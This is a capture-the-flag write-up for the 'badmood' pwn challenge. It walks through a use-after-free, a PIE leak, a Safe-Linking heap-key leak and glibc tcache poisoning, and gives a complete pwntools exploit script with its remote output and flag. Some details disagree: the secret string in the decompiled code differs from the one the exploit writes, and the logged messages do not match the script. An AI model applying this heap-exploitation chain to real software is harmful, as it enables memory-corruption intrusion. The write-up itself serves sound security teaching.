badmood
Overview

badmood

January 12, 2026
3 min read
5

badmood

Category
Pwn
Files
bad_mood libc.so.6 ld-linux-x86-64.so.2
Description
Vasily is in a bad mood today. He's letting go of old thoughts, tangling up new ones, and sometimes forgetting who he is. But somewhere in the depths of his memory, his name still lingers.

Security check on the binary:

Terminal window
checksec bad_mood
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b''
Stripped: No

Unlike the earlier challenges in this series, PIE is enabled. This means we cannot rely on fixed addresses for global variables like admin_key. We’ll need a leak.

Program Analysis

In this challenge, we were given a binary named badmood. Let’s try to examine the decompiled code.

Global State

The binary maintains its state through a set of global variables, which are crucial for our exploitation strategy:

void *notes[8];
char admin_key[0x20];
unsigned long admin_hash;
const char *DEFAULT_TAG = "DEFAULT_TAG"; // Fixed string in the binary

The DEFAULT_TAG string is particularly important because its address is stored within every note allocation, as we’ll see soon.

main

int main() {
int choice;
init();
// Vasily's secret key logic
strcpy(admin_key, "VASILY_SECRET");
admin_hash = hash(admin_key);
strcpy(admin_key, "EPON"); // Resetting it to "EPON"
while (1) {
menu();
if (scanf("%d", &choice) != 1) break;
switch (choice) {
case 1: alloc_note(); break;
case 2: free_note(); break;
case 3: edit_note(); break;
case 4: read_note(); break;
case 5: check_admin(); break;
}
}
return 0;
}

The main() function initializes the environment and sets up the administrative state. It calculates a admin_hash from the initial secret key "VASILY_SECRET", but then resets the admin_key to "EPON". Our goal will be to restore that secret key to pass the check.

alloc_note

void alloc_note() {
int index;
printf("Index: ");
if (scanf("%d", &index) == 1 && index >= 0 && index < 8) {
getchar();
void *ptr = malloc(0x68);
notes[index] = ptr;
// [!] PIE LEAK OPPORTUNITY: TAG pointer stored in the heap chunk
*(const char **)((char *)ptr + 0x60) = DEFAULT_TAG;
printf("Data: ");
read(0, notes[index], 0x60);
}
}

The alloc_note() function allocates a 0x68 byte chunk. Interestingly, it automatically stores the address of the global DEFAULT_TAG string at offset 0x60 of the newly allocated memory. This gives us a direct way to leak the binary’s base address (PIE).

free_note & Vulnerability

void free_note() {
int index;
printf("Index: ");
if (scanf("%d", &index) == 1 && index >= 0 && index < 8) {
free(notes[index]);
// [!] VULNERABILITY: Use-After-Free
}
}

The free_note() function frees the allocated memory but, once again, fails to clear the pointer in the notes array. This provides us with a Use-After-Free (UAF) vulnerability.

read_note

void read_note() {
int index;
printf("Index: ");
if (scanf("%d", &index) == 1 && index >= 0 && index < 8) {
write(1, notes[index], 0x68);
puts("");
}
}

The read_note() function writes up to 0x68 bytes from the requested note index. Combined with the alloc_note() behavior, this allows us to leak the DEFAULT_TAG pointer at offset 0x60 to defeat PIE. Furthermore, because of the UAF, we can read from a freed chunk to leak the mangled tcache next pointer, defeating Safe-Linking.

check_admin

void check_admin() {
if (hash(admin_key) == admin_hash) {
char *flag = getenv("FLAG_VAL");
// ... prints flag ...
exit(0);
}
puts("Vasily doesn't trust you.");
}

The check_admin() function verifies if the current admin_key (which is "EPON") hashes to the previously stored admin_hash (calculated from "VASILY_SECRET"). To pass this, we’ll need to use Tcache Poisoning to overwrite the global admin_key with the original secret.

Now that we know the bug, let’s move to the exploitation part.

Exploitation

1. pie and heap leaks

  1. PIE Leak: Allocate a note. Since DEFAULT_TAG is always written to the end of the note, we can call read_note to retrieve the address of the tag. Subtracting the known offset (0x2008) gives us the binary’s base address.
  2. Heap Leak: Free the note. On Glibc 2.32+, the next pointer is mangled. By reading the freed chunk, we leak (chunk_addr >> 12) ^ 0, giving us the Heap Key.

2. Tcache Poisoning (GLIBC 2.41)

Even on the newest Glibc, the tcache poisoning strategy remains effective if we can leak the heap key:

  1. Target: Calculate the absolute address of admin_key using the PIE leak.
  2. Mangle: Calculate the protected file descriptor: protected_fd = target ^ heap_key.
  3. Overwrite: Use the UAF edit to overwrite the head of the tcache with our protected_fd.
  4. Land: Allocate twice. The second allocation returns a pointer to the global admin_key.

Overwrite the admin_key with the secret string "VASILIY_SECRET\x00" and trigger the check to claim the flag.

Exploit Script

from pwn import *
def start(argv=[], *a, **kw):
if args.GDB:
return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
elif args.REMOTE:
return remote(sys.argv[1], sys.argv[2], *a, **kw)
else:
return process([exe] + argv, *a, **kw)
gdbscript = '''
init-pwndbg
continue
'''.format(**locals())
exe = './bad_mood'
elf = context.binary = ELF(exe, checksec=False)
context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'info'
def sa(delim,data): return io.sendafter(delim,data)
def sla(delim,line): return io.sendlineafter(delim,line)
def sl(line): return io.sendline(line)
def mangle(heap_base, ptr): return (heap_base >> 12) ^ ptr
def alloc(idx, data):
sla(b"> ", b"1")
sla(b"Index: ", str(idx).encode())
sa(b"Data: ", data)
def free(idx):
sla(b"> ", b"2")
sla(b"Index: ", str(idx).encode())
def edit(idx, data):
sla(b"> ", b"3")
sla(b"Index: ", str(idx).encode())
sa(b"Data: ", data)
def read(idx):
sla(b"> ", b"4")
sla(b"Index: ", str(idx).encode())
data = io.recvn(0x68)
io.recvuntil(b"\n1. Alloc", drop=True)
return data
io = start()
alloc(0, b"A"*0x60)
data = read(0)
tag_ptr = u64(data[0x60:0x68])
elf.address = tag_ptr - 0x2008
log.success(f"PIE base = {hex(elf.address)}")
alloc(1, b"B"*8)
free(1)
data = read(1)
heap_key = u64(data[:8].ljust(8, b"\x00"))
heap_base = heap_key << 12
log.info(f"Heap base: {hex(heap_base)}")
target = elf.sym["admin_key"]
free(0)
protected_fd = mangle(heap_base, target)
edit(0, p64(protected_fd))
alloc(2, b"junk")
alloc(3, b"VASILIY_SECRET\x00")
sla(b"> ", b"5")
io.interactive()

Running the exploit delivers the final flag:

Terminal window
python3 xploit.py REMOTE ctf.mf.grsu.by 9073
[+] Opening connection to ctf.mf.grsu.by on port 9073: Done
[+] pie addr = 0x559291adf000
[+] Heap key = 0x5592c6044
[+] Heap base = 0x5592c6044000
[*] Switching to interactive mode
grodno{V4S1LL1Y_248YV437_K70_0N_3S7_P070mySh70_74SK4_SL0m4n4}
[*] Got EOF while reading in interactive
$

Flag: grodno{V4S1LL1Y_248YV437_K70_0N_3S7_P070mySh70_74SK4_SL0m4n4}